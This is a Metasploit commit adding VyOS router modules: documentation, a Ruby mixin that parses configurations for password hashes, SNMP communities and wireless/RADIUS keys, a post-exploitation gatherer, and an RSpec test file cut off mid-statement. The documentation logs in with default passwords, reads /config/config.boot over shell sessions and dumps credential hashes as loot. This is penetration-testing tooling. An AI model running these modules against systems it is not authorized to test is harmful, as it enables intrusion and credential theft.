initial vyos implementation

This commit is contained in:
h00die 2020-09-20 15:47:06 -04:00
parent 67dbb34769
commit 610d4d86d2
6 changed files with 1273 additions and 0 deletions

View File

@ -0,0 +1,223 @@
## Vulnerable Application
### General Notes
This module imports a VyOS configuration file into the database.
This is similar to `post/networking/gather/enum_vyos` only access isn't required,
and assumes you already have the file.
VyOS is available to download from [VyOS.io](https://downloads.vyos.io/).
Example config file:
#### VyOS 1.3
```
interfaces {
ethernet eth0 {
address 10.10.10.10/24
description "desc two"
hw-id 00:0c:29:ab:ce:16
}
ethernet eth1 {
hw-id 00:0c:29:ab:ce:20
}
loopback lo {
}
}
service {
snmp {
community ro {
authorization ro
}
community write {
authorization rw
}
}
}
system {
config-management {
commit-revisions 100
}
console {
device ttyS0 {
speed 115200
}
}
host-name vyos
login {
user vyos {
authentication {
encrypted-password $6$km/6j4hX0Ayo$dk2z5LeUOayHopgLGZJII0whBMidnvsd4LfT6LcIcR9ReabX0kcXjZOlmmqDGWuo1FvpnV.X2IRl5NeEZpuI31
plaintext-password ""
}
}
}
ntp {
server 0.pool.ntp.org {
}
server 1.pool.ntp.org {
}
server 2.pool.ntp.org {
}
}
syslog {
global {
facility all {
level info
}
facility protocols {
level debug
}
}
}
}
// Warning: Do not remove the following line.
// vyos-config-version: "broadcast-relay@1:cluster@1:config-management@1:conntrack@1:conntrack-sync@1:dhcp-relay@2:dhcp-server@5:dhcpv6-server@1:dns-forwarding@3:firewall@5:https@2:interfaces@12:ipoe-server@1:ipsec@5:l2tp@3:lldp@1:mdns@1:nat@5:ntp@1:pppoe-server@4:pptp@2:qos@1:quagga@6:salt@1:snmp@2:ssh@2:sstp@2:system@18:vrrp@2:vyos-accel-ppp@2:wanloadbalance@3:webgui@1:webproxy@2:zone-policy@1"
// Release version: 1.3-rolling-202008270118
```
#### VyOS 1.1.8
```
interfaces {
ethernet eth0 {
description "eth0 main"
duplex auto
hw-id 00:0c:29:f4:45:0a
smp_affinity auto
speed auto
vif 90 {
address dhcp
}
}
ethernet eth1 {
address 10.10.10.10/24
duplex auto
hw-id 00:0c:29:f4:45:14
smp_affinity auto
speed auto
}
loopback lo {
}
}
service {
snmp {
community ro {
authorization ro
}
community write {
authorization rw
}
}
}
system {
config-management {
commit-revisions 20
}
console {
}
host-name vyos118
login {
user jsmith {
authentication {
encrypted-password $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1
plaintext-password ""
}
full-name "john smith"
level operator
}
user vyos {
authentication {
encrypted-password $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0
plaintext-password ""
}
level admin
}
}
ntp {
server 0.pool.ntp.org {
}
server 1.pool.ntp.org {
}
server 2.pool.ntp.org {
}
}
package {
auto-sync 1
repository community {
components main
distribution helium
password ""
url http://packages.vyos.net/vyos
username ""
}
}
syslog {
global {
facility all {
level notice
}
facility protocols {
level debug
}
}
}
time-zone UTC
}
/* Warning: Do not remove the following line. */
/* === vyatta-config-version: "cluster@1:config-management@1:conntrack-sync@1:conntrack@1:cron@1:dhcp-relay@1:dhcp-server@4:firewall@5:ipsec@4:nat@4:qos@1:quagga@2:system@6:vrrp@1:wanloadbalance@3:webgui@1:webproxy@1:zone-policy@1" === */
/* Release version: VyOS 1.1.8 */
```
## Verification Steps
1. Have a VyOS configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/vyos_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
## Scenarios
### VyOS 1.1.8
```
msf6 > use auxiliary/admin/networking/vyos_config
msf6 auxiliary(admin/networking/vyos_config) > set config /tmp/vyos.config
config => /tmp/vyos.config
msf6 auxiliary(admin/networking/vyos_config) > set verbose true
verbose => true
msf6 auxiliary(admin/networking/vyos_config) > run
[-] Auxiliary failed: Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf6 auxiliary(admin/networking/vyos_config) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(admin/networking/vyos_config) > run
[*] Running module against 1.1.1.1
[*] Importing config
[+] Config saved to: /home/h00die/.msf4/loot/20200920154519_default_1.1.1.1_vyos.config_295168.txt
[+] 1.1.1.1:22 Username 'jsmith' with level 'operator' with hash $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1
[+] 1.1.1.1:22 Username 'vyos' with level 'admin' with hash $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0
[+] 1.1.1.1:22 SNMP Community 'ro' with ro access
[+] 1.1.1.1:22 SNMP Community 'write' with rw access
[+] 1.1.1.1:22 Hostname: vyos118
[+] 1.1.1.1:22 OS Version: VyOS 1.1.8
[+] 1.1.1.1:22 Interface eth1 (00:0c:29:f4:45:14) - 10.10.10.10
[+] Config import successful
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,194 @@
## Vulnerable Application
This module has been tested on the following hardware/OS combinations.
* VyOS 1.1.8
* VyOS 1.3 (reconfigured to allow ssh password login)
The images are available from VyOS [here](https://downloads.vyos.io/)
This module runs the following commands to gather data:
* equivalent of `show version`
* `cat /config/config`
* `cat /config/config.boot`
This module will look for the follow parameters which contain credentials:
* `snmp community`
* `wireless`
* `login user`
## Verification Steps
1. Start msfconsole
2. Get a shell
3. Do: ```use post/networking/gather/enum_vyos```
4. Do: ```set session [id]```
5. Do: ```set verbose true```
6. Do: ```run```
## Options
## Scenarios
### VyOS 1.1.8 admin
```
resource (vyos.rb)> set username vyos
username => vyos
resource (vyos.rb)> set password vyos
password => vyos
resource (vyos.rb)> run
[+] 2.2.2.2:22 - Success: 'vyos:vyos' 'uid=1000(vyos) gid=100(users) groups=100(users),4(adm),6(disk),27(sudo),30(dip),102(quaggavty),104(vyattacfg),110(fuse) Linux vyos118 3.13.11-1-amd64-vyos #1 SMP Sat Nov 11 12:10:30 CET 2017 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:34571 -> 2.2.2.2:22) at 2020-09-20 15:19:08 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
resource (vyos.rb)> use post/networking/gather/enum_vyos
resource (vyos.rb)> set verbose true
verbose => true
resource (vyos.rb)> set session 1
session => 1
resource (vyos.rb)> run
[!] SESSION may not be compatible with this module.
[*] Getting version information
[+] Version: VyOS 1.1.8
Description: VyOS 1.1.8 (helium)
Copyright: 2017 VyOS maintainers and contributors
Built by: maintainers@vyos.net
Built on: Sat Nov 11 13:44:36 UTC 2017
Build ID: 1711111344-b483efc
System type: x86 64-bit
Boot via: image
Hypervisor: VMware
HW model: VMware Virtual Platform
HW S/N: VMware-56 4d ef 3f af 45 b5 69-27 43 79 f1 93 f4 45 0a
HW UUID: 564DEF3F-AF45-B569-2743-79F193F4450A
Uptime: 19:09:24 up 4:47, 1 user, load average: 0.01, 0.04, 0.05
[+] Version information stored in to loot /home/h00die/.msf4/loot/20200920151918_default_2.2.2.2_vyos.version_808443.txt
[*] Gathering info from cat /config/config
[*] Gathering info from cat /config/config.boot
[+] 2.2.2.2:22 Username 'jsmith' with level 'operator' with hash $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1
[+] 2.2.2.2:22 Username 'vyos' with level 'admin' with hash $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0
[+] 2.2.2.2:22 SNMP Community 'ro' with ro access
[+] 2.2.2.2:22 SNMP Community 'write' with rw access
[+] 2.2.2.2:22 Hostname: vyos118
[+] 2.2.2.2:22 OS Version: VyOS 1.1.8
[+] 2.2.2.2:22 Interface eth1 (00:0c:29:f4:45:14) - 2.2.2.2
[*] Post module execution completed
```
### VyOS 1.1.8 operator (user)
```
resource (vyos.rb)> use auxiliary/scanner/ssh/ssh_login
resource (vyos.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (vyos.rb)> set username jsmith
username => jsmith
resource (vyos.rb)> set password jsmith
password => jsmith
resource (vyos.rb)> run
[+] 2.2.2.2:22 - Success: 'jsmith:jsmith' 'Remote command execution is not allowed for operator level users Remote command execution is not allowed for operator level users '
[*] Command shell session 2 opened (1.1.1.1:46409 -> 2.2.2.2:22) at 2020-09-20 15:19:29 -0400
[-] 2.2.2.2:22 - While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with device details so it can be handled in the future.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (vyos.rb)> use post/networking/gather/enum_vyos
resource (vyos.rb)> set session 2
session => 2
resource (vyos.rb)> run
[!] SESSION may not be compatible with this module.
[*] Getting version information
[+] Version: VyOS 1.1.8
Description: VyOS 1.1.8 (helium)
Copyright: 2017 VyOS maintainers and contributors
Built by: maintainers@vyos.net
Built on: Sat Nov 11 13:44:36 UTC 2017
Build ID: 1711111344-b483efc
System type: x86 64-bit
Boot via: image
Hypervisor: VMware
HW model: VMware Virtual Platform
HW S/N: VMware-56 4d ef 3f af 45 b5 69-27 43 79 f1 93 f4 45 0a
HW UUID: 564DEF3F-AF45-B569-2743-79F193F4450A
Uptime: 19:09:44 up 4:47, 1 user, load average: 0.00, 0.03, 0.05
[+] Version information stored in to loot /home/h00die/.msf4/loot/20200920151939_default_2.2.2.2_vyos.version_165334.txt
[*] Gathering info from cat /config/config
[*] Gathering info from cat /config/config.boot
[+] 2.2.2.2:22 Username 'jsmith' with level 'operator' with hash $6$b/9HkzK14DtQm3W$UL5z9yGDoX8j13meRLFEGYkn8popOtCa91wwg8qxOFIfQcWBuXQDDiy8NhdPhpnYieBykj1ddytJAwU6C4mrH1
[+] 2.2.2.2:22 Username 'vyos' with level 'admin' with hash $1$hTBP1zOx$M0WnYPshI2piRc7.XnwBU0
[+] 2.2.2.2:22 SNMP Community 'ro' with ro access
[+] 2.2.2.2:22 SNMP Community 'write' with rw access
[+] 2.2.2.2:22 Hostname: vyos118
[+] 2.2.2.2:22 OS Version: VyOS 1.1.8
[+] 2.2.2.2:22 Interface eth1 (00:0c:29:f4:45:14) - 2.2.2.2
[*] Post module execution completed
```
### VyOS 1.3 admin
```
resource (vyos.rb)> use auxiliary/scanner/ssh/ssh_login
resource (vyos.rb)> set rhosts 3.3.3.3
rhosts => 3.3.3.3
resource (vyos.rb)> set username vyos
username => vyos
resource (vyos.rb)> set password vyos
password => vyos
resource (vyos.rb)> run
[+] 3.3.3.3:22 - Success: 'vyos:vyos' 'uid=1003(vyos) gid=100(users) groups=100(users),4(adm),6(disk),27(sudo),30(dip),105(vyattacfg),116(frrvty) Linux vyos13 4.19.142-amd64-vyos #1 SMP Wed Aug 26 18:33:29 UTC 2020 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:42141 -> 3.3.3.3:22) at 2020-09-20 15:33:20 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
resource (vyos.rb)> use post/networking/gather/enum_vyos
resource (vyos.rb)> set verbose true
verbose => true
resource (vyos.rb)> set session 1
session => 1
resource (vyos.rb)> run
[!] SESSION may not be compatible with this module.
[*] Getting version information
[+]
Version: VyOS 1.3-rolling-202008270118
Release Train: equuleus
Built by: autobuild@vyos.net
Built on: Thu 27 Aug 2020 01:18 UTC
Build UUID: b3cfc450-921a-4454-aa8a-eca18c88517b
Build Commit ID: 303a91836dc31c
Architecture: x86_64
Boot via: installed image
System type: VMware guest
Hardware vendor: VMware, Inc.
Hardware model: VMware Virtual Platform
Hardware S/N: Unknown
Hardware UUID: Unknown
Copyright: VyOS maintainers and contributors
[+] Version information stored in to loot /home/h00die/.msf4/loot/20200920153335_default_3.3.3.3_vyos.version_336120.txt
[*] Gathering info from cat /config/config
[+] 3.3.3.3:22 SNMP Community 'ro' with ro access
[+] 3.3.3.3:22 SNMP Community 'write' with rw access
[+] 3.3.3.3:22 Hostname: vyos
[+] 3.3.3.3:22 OS Version: 1.3-rolling-202008270118
[+] 3.3.3.3:22 Interface eth0 (00:0c:29:ab:ce:16) - 10.10.10.10 with description: desc two
[+] 3.3.3.3:22 Interface eth1 (00:0c:29:ab:ce:20)
[*] Gathering info from cat /config/config.boot
[+] 3.3.3.3:22 Hostname: vyos13
[+] 3.3.3.3:22 OS Version: 1.3-rolling-202008270118
[+] 3.3.3.3:22 Interface eth1 (00:0c:29:ab:ce:20) - 3.3.3.3
[*] Post module execution completed
```

View File

@ -0,0 +1,302 @@
# -*- coding: binary -*-
require 'metasploit/framework/hashes/identify'
module Msf
###
#
# This module provides methods for working with VyOS equipment
#
###
module Auxiliary::VYOS
include Msf::Auxiliary::Report
def vyos_config_eater(thost, tport, config, store = true)
credential_data = {
address: thost,
port: tport,
protocol: 'tcp',
workspace_id: myworkspace.id,
origin_type: :service,
private_type: :nonreplayable_hash,
# jtr_format: 'sha512,crypt', # default on the devices 11.4.0+
service_name: '',
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Default SNMP to UDP
if tport == 161
credential_data[:protocol] = 'udp'
end
if store && !config.include?('such file or directory')
l = store_loot('vyos.config', 'text/plain', thost, config.strip, 'config.txt', 'VyOS Configuration')
vprint_good("Config saved to: #{l}")
end
host_info = {
host: thost,
os_name: 'VyOS'
}
report_host(host_info)
# generated by: cat /config/config.boot
# https://github.com/rapid7/metasploit-framework/issues/14124
# login {
# user jsmith {
# authentication {
# encrypted-password $6$ELBrDuW7c/8$nN7MwUST8s8O0R6HMNu/iPoTQ1s..y8HTnXraJ7Hh4bHefRmjt/2U08ZckEw4FU034wbWaeCaB5hq7mC6fNXl/
# plaintext-password ""
# }
# full-name "John Smith"
# level operator
# }
# user vyos {
# authentication {
# encrypted-password $1$5HsQse2v$VQLh5eeEp4ZzGmCG/PRBA1
# plaintext-password ""
# }
# level admin
# }
# }
# sometimes the hash is masked
# login {
# user vyos {
# authentication {
# encrypted-password ****************
# plaintext-password ""
# }
# level admin
# }
# }
r = 'user ([^ ]+) {\s*authentication {\s*'
r << 'encrypted-password (\$?[\w$\./\*]*)\s*' # leading $ is optional incase the password is all stars
r << 'plaintext-password "([^"]*)"\s*'
r << '}(?:\s*'
r << 'full-name "([^"]*)")?\s*'
r << 'level (operator|admin)'
config.scan(/#{Regexp.new(r)}/mi).each do |result|
username = result[0].strip
hash = result[1].strip
plaintext = result[2].strip
# full-name is an optional field
# we label it, but dont actually use it. Maybe future expansion?
unless result[3].nil?
name = result[3].strip
end
level = result[4].strip
cred = credential_data.dup
cred[:username] = username
unless hash.start_with?('********') # if not in config mode these are masked
cred[:jtr_format] = identify_hash(hash)
cred[:private_data] = hash
print_hash = " with hash #{hash}"
end
cred[:access_level] = level
create_credential_and_login(cred) if framework.db.active
unless plaintext.empty?
cred[:jtr_format] = ''
cred[:private_type] = :password
cred[:private_data] = plaintext
create_credential_and_login(cred) if framework.db.active
print_hash = "with password #{plaintext}"
end
print_good("#{thost}:#{tport} Username '#{username}' with level '#{level}'#{print_hash}")
end
# generated by: cat /config/config.boot
# service {
# snmp {
# community ro {
# authorization ro
# }
# community write {
# authorization rw
# }
# }
# }
config.scan(/community (\w+) {\n\s+authorization (ro|rw)/).each do |result|
cred = credential_data.dup
cred[:port] = 161
cred[:protocol] = 'udp'
cred[:service_name] = 'snmp'
cred[:jtr_format] = ''
cred[:private_data] = result[0].strip
cred[:private_type] = :password
cred[:access_level] = result[1].strip
create_credential_and_login(cred) if framework.db.active
print_good("#{thost}:#{tport} SNMP Community '#{result[0].strip}' with #{result[1].strip} access")
end
# generated by: cat /config/config
# host-name vyos
# interfaces {
# ethernet eth0 {
# duplex auto
# hw-id 00:0c:29:c7:af:bc
# smp_affinity auto
# speed auto
# }
# ethernet eth0 {
# address 1.1.1.1/8
# hw-id 00:0c:29:c7:af:cc
# }
# loopback lo {
# }
# }
# /* Release version: VyOS 1.1.8 */
# // Release version: VyOS 1.3-rolling-202008270118
if /host-name (.+)\n/ =~ config
print_good("#{thost}:#{tport} Hostname: #{$1.strip}")
host_info[:name] = $1.strip
report_host(host_info) if framework.db.active
end
if %r{^/[/\*]\s?Release version: ([\w \.-]+)} =~ config
print_good("#{thost}:#{tport} OS Version: #{$1.strip}")
host_info[:os_flavor] = $1.strip
report_host(host_info) if framework.db.active
end
#config.scan(%r{ethernet (eth\d{1,3}) {[\w\s":-]+(?:address ([\d\.]{6,16}/\d{1,2})[\w\s:-]+)?(?:description "?([\w\.\_\s]+)"?[\w\s:-]+)?hw-id (\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2})[\w\s:-]+}}).each do |result|
r = 'ethernet (eth\d{1,3}) {[\w\s":-]+'
r << '(?:address ([\d\.]{6,16}/\d{1,2})[\w\s:-]+)?'
r << '(?:description ["\']?([\w\.\_\s]+)["\']?[\w\s:-]+)?'
r << 'hw-id (\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2})[\w\s:-]+'
r << '}'
config.scan(/#{Regexp.new(r)}/i).each do |result|
name = result[0].strip
mac = result[3].strip
host_info[:mac] = mac
output = "#{thost}:#{tport} Interface #{name} (#{mac})"
# static IP address
unless result[1].nil?
ip = result[1].split('/')[0].strip
host_info[:host] = ip
output << " - #{ip}"
end
# description
unless result[2].nil?
output << " with description: #{result[2].strip}"
end
report_host(host_info) if framework.db.active
print_good(output)
end
# https://docs.vyos.io/en/crux/interfaces/wireless.html
# server has type 'access-point', client is 'station'
# interfaces {
# wireless wlan0 {
# address 192.168.2.1/24
# channel 1
# mode n
# security {
# wpa {
# cipher CCMP
# mode wpa2
# passphrase "12345678"
# }
# }
# ssid "TEST"
# type access-point
# }
#}
config.scan(/wireless (wlan\d{1,3}) {\s+.+passphrase "([^\n"]+)"\s+.+ssid ["']?([^\n"]+)["']?\s+type (access-point|station)/mi).each do |result|
device = result[0].strip
password = result[1].strip
ssid = result[2].strip
type = result[3].strip
cred = credential_data.dup
cred[:port] = 1
cred[:protocol] = 'tcp'
type == 'access-point' ? cred[:service_name] ='wireless AP' : cred[:service_name] ='wireless'
cred[:jtr_format] = ''
cred[:private_data] = password
cred[:username] = ssid
cred[:private_type] = :password
create_credential_and_login(cred) if framework.db.active
print_good("#{thost}:#{tport} Wireless #{type} '#{ssid}' with password: #{password}")
end
# wireless (server) with radius
# interfaces {
# wireless wlan0 {
# address 192.168.2.1/24
# channel 1
# mode n
# security {
# wpa {
# cipher CCMP
# mode wpa2
# radius {
# server 192.168.3.10 {
# key 'VyOSPassword'
# port 1812
# }
# }
# }
# }
# ssid "Enterprise-TEST"
# type access-point
# }
# }
r = 'wireless (wlan\d{1,3}) {\s*'
r << '.+radius {\s+'
r << 'server ([^\s]+) {\s*'
r << 'key [\'"]?([^\n"]+)[\'"]?\s*'
r << 'port (\d{1,5})\s*'
r << '.+ssid [\'"]?([^\n"\']+)[\'"]?\s*'
r << 'type (access-point|station)'
#config.scan(/#{Regexp.new(r)}/mi).each do |result|
config.scan(/wireless (wlan\d{1,3}) {\s*.+radius {\s+server ([^\s]+) {\s*key ['"]?([^\n"']+)['"]?\s*port (\d{1,5})\s*.+ssid ['"]?([^\n"']+)['"]?\s*type (access-point|station)/mi).each do |result|
device = result[0].strip
server = result[1].strip
password = result[2].strip
server_port = result[3].strip
ssid = result[4].strip
type = result[5].strip
cred = credential_data.dup
cred[:port] = 1
cred[:protocol] = 'tcp'
type == 'access-point' ? cred[:service_name] ='wireless AP' : cred[:service_name] ='wireless'
cred[:jtr_format] = ''
cred[:private_data] = password
cred[:username] = ssid
cred[:private_type] = :password
create_credential_and_login(cred) if framework.db.active
print_good("#{thost}:#{tport} Wireless #{type} '#{ssid}' with radius password: #{password} to #{server}#{server_port}")
end
# https://docs.vyos.io/en/crux/services/ipoe-server.html#radius-setup
# https://docs.vyos.io/en/crux/services/webproxy.html#authentication
# https://docs.vyos.io/en/crux/vpn/pptp.html#server-example
# https://docs.vyos.io/en/crux/interfaces/l2tpv3.html#l2tpv3-over-ipsec-l2-vpn-bridge
# https://docs.vyos.io/en/crux/interfaces/pppoe.html#pppoe
end
end
end

View File

@ -0,0 +1,42 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/vyos'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::VYOS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VyOS Configuration Importer',
'Description' => %q{
This module imports a VyOS device configuration.
},
'License' => MSF_LICENSE,
'Author' => [ 'h00die' ]
)
)
register_options(
[
OptPath.new('CONFIG', [true, 'Path to configuration to import']),
Opt::RHOST(),
Opt::RPORT(22)
]
)
end
def run
unless ::File.exist?(datastore['CONFIG'])
fail_with Failure::BadConfig, "VyOS config file #{datastore['CONFIG']} does not exist!"
end
vyos_config = ::File.open(datastore['CONFIG'], 'rb')
print_status('Importing config')
vyos_config_eater(datastore['RHOSTS'], datastore['RPORT'], vyos_config.read)
print_good('Config import successful')
end
end

View File

@ -0,0 +1,78 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/vyos'
class MetasploitModule < Msf::Post
include Msf::Auxiliary::VYOS
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VyOS Gather Device General Information',
'Description' => %q{
This module collects VyOS device information and configuration.
},
'License' => MSF_LICENSE,
'Author' => ['h00die'],
'SessionTypes' => ['shell']
)
)
end
def run
# Get device prompt, but also used to clear the screen
prompt = session.shell_command("\n")
# Get version info
print_status('Getting version information')
# 1.1.8, and prob before
version_out = session.shell_command('/opt/vyatta/bin/vyatta-show-version')
if version_out.include?('such file or directory')
# 1.3, and prob newer
version_out = session.shell_command('/usr/libexec/vyos/op_mode/show_version.py')
end
ver_loc = store_loot('vyos.version',
'text/plain',
session,
version_out.strip,
'version.txt',
'VyOS Version')
# Print the version of VERBOSE set to true.
vprint_good(version_out)
vprint_good("Version information stored in to loot #{ver_loc}")
# run additional information gathering
enum_configs
end
# run commands found in exec mode under privilege 1
def enum_configs
host = session.session_host
port = session.session_port
exec_commands = [
{
'cmd' => 'cat /config/config',
'fn' => 'get_running_config',
'desc' => 'Get Running Config on VyOS Device'
},
{
'cmd' => 'cat /config/config.boot',
'fn' => 'get_config',
'desc' => 'Get Boot Config on VyOS Device'
},
]
exec_commands.each do |ec|
command = ec['cmd']
cmd_out = session.shell_command(command).gsub(/#{command}/, '')
print_status("Gathering info from #{command}")
# detect if we're in pagination and get as much data as possible
vyos_config_eater(host, port, cmd_out.strip)
end
end
end

View File

@ -0,0 +1,434 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/auxiliary/vyos'
RSpec.describe Msf::Auxiliary::VYOS do
class DummyVYOSClass
include Msf::Auxiliary::VYOS
def framework
Msf::Simple::Framework.create(
'ConfigDirectory' => Rails.root.join('spec', 'dummy', 'framework', 'config').to_s,
# don't load any module paths so we can just load the module under test and save time
'DeferModuleLoads' => true
)
end
def active_db?
true
end
def print_good(_str = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def print_bad(_str = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def store_cred(_hsh = nil)
raise StandardError, 'This method needs to be stubbed.'
end
def fullname
'auxiliary/scanner/snmp/vyos_dummy'
end
def myworkspace
raise StandardError, 'This method needs to be stubbed.'
end
end
subject(:aux_vyos) { DummyVYOSClass.new }
let!(:workspace) { FactoryBot.create(:mdm_workspace) }
context '#create_credential_and_login' do
let(:session) { FactoryBot.create(:mdm_session) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:user) { FactoryBot.create(:mdm_user) }
subject(:test_object) { DummyVYOSClass.new }
let(:workspace) { FactoryBot.create(:mdm_workspace) }
let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:login_data) do
{
address: service.host.address,
port: service.port,
service_name: service.name,
protocol: service.proto,
workspace_id: workspace.id,
origin_type: :service,
module_fullname: 'auxiliary/scanner/smb/smb_login',
realm_key: 'Active Directory Domain',
realm_value: 'contosso',
username: 'Username',
private_data: 'password',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
end
it 'creates a Metasploit::Credential::Login' do
expect { test_object.create_credential_and_login(login_data) }.to change { Metasploit::Credential::Login.count }.by(1)
end
it 'associates the Metasploit::Credential::Core with a task if passed' do
login = test_object.create_credential_and_login(login_data.merge(task_id: task.id))
expect(login.tasks).to include(task)
end
end
context '#vyos_config_eater' do
before(:example) do
expect(aux_vyos).to receive(:myworkspace).at_least(:once).and_return(workspace)
end
it 'deals with user passwords' do
data = "login {\n"
data << "user jsmith {\n"
data << " authentication {\n"
data << " encrypted-password $6$ELBrDuW7c/8$nN7MwUST8s8O0R6HMNu/iPoTQ1s..y8HTnXraJ7Hh4bHefRmjt/2U08ZckEw4FU034wbWaeCaB5hq7mC6fNXl/\n"
data << " plaintext-password \"\"\n"
data << " }\n"
data << " full-name \"John Smith\"\n"
data << " level operator\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Username 'jsmith' with level 'operator' with hash $6$ELBrDuW7c/8$nN7MwUST8s8O0R6HMNu/iPoTQ1s..y8HTnXraJ7Hh4bHefRmjt/2U08ZckEw4FU034wbWaeCaB5hq7mC6fNXl/")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
access_level: 'operator',
origin_type: :service,
service_name: '',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: 'sha512,crypt',
username: 'jsmith',
private_data: '$6$ELBrDuW7c/8$nN7MwUST8s8O0R6HMNu/iPoTQ1s..y8HTnXraJ7Hh4bHefRmjt/2U08ZckEw4FU034wbWaeCaB5hq7mC6fNXl/',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with admin password' do
data = "login {\n"
data << " user vyos {\n"
data << " authentication {\n"
data << " encrypted-password $1$5HsQse2v$VQLh5eeEp4ZzGmCG/PRBA1\n"
data << " plaintext-password \"\"\n"
data << " }\n"
data << " level admin\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Username 'vyos' with level 'admin' with hash $1$5HsQse2v$VQLh5eeEp4ZzGmCG/PRBA1")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
access_level: 'admin',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: 'md5',
username: 'vyos',
private_data: '$1$5HsQse2v$VQLh5eeEp4ZzGmCG/PRBA1',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with masked passwords' do
data = "login {\n"
data << " user vyos {\n"
data << " authentication {\n"
data << " encrypted-password ****************\n"
data << " plaintext-password \"\"\n"
data << " }\n"
data << " level admin\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 Username 'vyos' with level 'admin'")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: '',
access_level: 'admin',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
username: 'vyos',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with SNMP ro communities' do
data = "service {\n"
data << " snmp {\n"
data << " community ro {\n"
data << " authorization ro\n"
data << " }\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'ro' with ro access")
expect(aux_vyos).to receive(:store_loot).with(
'vyos.config', 'text/plain', '127.0.0.1', data, 'config.txt', 'VyOS Configuration'
)
expect(aux_vyos).to receive(:create_credential_and_login).with(
{
address: '127.0.0.1',
port: 161,
access_level: 'ro',
protocol: 'udp',
workspace_id: workspace.id,
origin_type: :service,
service_name: 'snmp',
module_fullname: 'auxiliary/scanner/snmp/vyos_dummy',
jtr_format: '',
private_data: 'ro',
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED
}
)
aux_vyos.vyos_config_eater('127.0.0.1', 161, data)
end
it 'deals with SNMP rw communities' do
data = "service {\n"
data << " snmp {\n"
data << " community write {\n"
data << " authorization rw\n"
data << " }\n"
data << " }\n"
data << "}"
expect(aux_vyos).to receive(:print_good).with("127.0.0.1:161 SNMP Community 'write' with rw access")
expect(aux_vyos).to receive(:store_loot).with(
